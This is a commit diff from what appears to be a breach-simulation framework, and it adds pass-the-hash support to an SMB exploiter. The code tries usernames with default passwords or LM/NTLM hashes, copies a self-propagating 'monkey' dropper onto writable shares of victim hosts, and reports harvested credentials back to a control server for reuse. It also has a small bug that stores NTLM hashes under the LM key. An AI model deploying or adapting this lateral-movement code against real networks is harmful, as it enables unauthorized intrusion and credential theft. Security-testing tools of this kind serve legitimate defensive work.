Implement pass the hash for SMB

This commit is contained in:
Itay Mizeretz 2017-09-26 18:11:13 +03:00
parent 5e133b78f3
commit 89b442be58
8 changed files with 120 additions and 55 deletions

View File

@ -229,8 +229,24 @@ class Configuration(object):
""" """
return product(self.exploit_user_list, self.exploit_password_list) return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
:return:
"""
cred_list = []
for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
cred_list.append(cred)
return cred_list
exploit_user_list = ['Administrator', 'root', 'user'] exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds

View File

@ -62,6 +62,8 @@
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list": [], "exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"sambacry_trigger_timeout": 5, "sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],

View File

@ -16,7 +16,7 @@ try:
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2 from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3 from impacket.smb3 import SessionError as SessionError3
except ImportError, exc: except ImportError as exc:
print str(exc) print str(exc)
print 'Install the following library to make this script work' print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_or_hash_product()
exploited = False exploited = False
for user, password in user_password_pairs: for user, password, lm_hash, ntlm_hash in user_password_pairs:
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout) self._config.smb_download_timeout)
if remote_full_path is not None: if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password) host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password) host.learn_credentials(user, password)
exploited = True exploited = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, user, password) report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
except Exception, exc: except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user" LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s and password '%s': (%s)", host, " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
user, password, exc) user, password, lm_hash, ntlm_hash, exc)
continue continue
if not exploited: if not exploited:
@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT) rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, host.ip_addr, rpctransport.set_credentials(user, password, '',
"", "", None) lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc() scmr_rpc = rpctransport.get_dce_rpc()
try: try:
scmr_rpc.connect() scmr_rpc.connect()
except Exception, exc: except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s", LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc) host, exc)
return False return False

View File

@ -62,7 +62,7 @@ class WmiTools(object):
try: try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login) wmi.IID_IWbemLevel1Login)
except Exception, exc: except Exception as exc:
dcom.disconnect() dcom.disconnect()
if "rpc_s_access_denied" == exc.message: if "rpc_s_access_denied" == exc.message:
@ -156,7 +156,7 @@ class WmiTools(object):
query_record[key] = record[key]['value'] query_record[key] = record[key]['value']
query.append(query_record) query.append(query_record)
except DCERPCSessionError, exc: except DCERPCSessionError as exc:
if 1 == exc.error_code: if 1 == exc.error_code:
break break
@ -169,20 +169,21 @@ class WmiTools(object):
class SmbTools(object): class SmbTools(object):
@staticmethod @staticmethod
def copy_file(host, username, password, src_path, dst_path, timeout=60): def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path) src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb: if not smb:
return None return None
# skip guest users # skip guest users
if smb.isGuestSession() > 0: if smb.isGuestSession() > 0:
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges", LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
host, username, password) " LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try: try:
smb.logoff() smb.logoff()
@ -193,7 +194,7 @@ class SmbTools(object):
try: try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception, exc: except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s", LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc) host, exc)
return None return None
@ -210,7 +211,7 @@ class SmbTools(object):
try: try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception, exc: except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s", LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc) host, exc)
return None return None
@ -252,13 +253,13 @@ class SmbTools(object):
share_path = share['share_path'] share_path = share['share_path']
if not smb: if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout) smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb: if not smb:
return None return None
try: try:
tid = smb.connectTree(share_name) tid = smb.connectTree(share_name)
except Exception, exc: except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s", LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc) share_name, host, exc)
continue continue
@ -293,7 +294,7 @@ class SmbTools(object):
src_path, share_name, share_path, host) src_path, share_name, share_path, host)
break break
except Exception, exc: except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc) share_name, host, exc)
continue continue
@ -307,23 +308,23 @@ class SmbTools(object):
if not file_uploaded: if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting" LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username %s and password '%s'", " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password) host, username, password, lm_hash, ntlm_hash)
return None return None
return remote_full_path return remote_full_path
@staticmethod @staticmethod
def new_smb_connection(host, username, password, timeout=60): def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try: try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc: except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed," LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc) " trying port 139 (%s)", host, exc)
try: try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception, exc: except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)", LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc) host, exc)
return None, None return None, None
@ -334,10 +335,10 @@ class SmbTools(object):
# we know this should work because the WMI connection worked # we know this should work because the WMI connection worked
try: try:
smb.login(username, password, domain=host.ip_addr) smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception, exc: except Exception as exc:
LOG.debug("Error while loging into %r using user %s and password '%s': %s", LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, exc) host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect return None, dialect
smb.setTimeout(timeout) smb.setTimeout(timeout)
@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location) GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password): def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, telemetry_dict =\
'exploiter': exploiter.__class__.__name__, {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}) 'user': user, 'password': password}
if lm_hash != '':
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash != '':
telemetry_dict['lm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path(): def get_binaries_dir_path():

View File

@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path,
"Administrator",
password)
if remote_full_path: if remote_full_path:
break break

View File

@ -73,10 +73,10 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user,
password,
self._config.smb_download_timeout) self._config.smb_download_timeout)
if not remote_full_path: if not remote_full_path:

View File

@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_username(user) ConfigService.creds_add_username(user)
if 'password' in creds[user]: if 'password' in creds[user]:
ConfigService.creds_add_password(creds[user]['password']) ConfigService.creds_add_password(creds[user]['password'])
if 'lm_hash' in creds[user]:
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])

View File

@ -405,10 +405,36 @@ SCHEMA = {
"monkey_log_path_windows": { "monkey_log_path_windows": {
"title": "Monkey log file path on Windows", "title": "Monkey log file path on Windows",
"type": "string", "type": "string",
"default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows" "description": "The fullpath of the monkey log file on Windows"
} }
} }
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
}
}
} }
} }
}, },
@ -804,20 +830,28 @@ class ConfigService:
return SCHEMA return SCHEMA
@staticmethod @staticmethod
def creds_add_username(username): def add_item_to_config_set(item_key, item_value):
mongo.db.config.update( mongo.db.config.update(
{'name': 'newconfig'}, {'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_user_list': username}}, {'$addToSet': {item_key: item_value}},
upsert=False upsert=False
) )
@staticmethod
def creds_add_username(username):
ConfigService.add_item_to_config_set('exploits.credentials.exploit_user_list', username)
@staticmethod @staticmethod
def creds_add_password(password): def creds_add_password(password):
mongo.db.config.update( ConfigService.add_item_to_config_set('exploits.credentials.exploit_password_list', password)
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_password_list': password}}, @staticmethod
upsert=False def creds_add_lm_hash(lm_hash):
) ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
@staticmethod
def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod @staticmethod
def update_config(config_json): def update_config(config_json):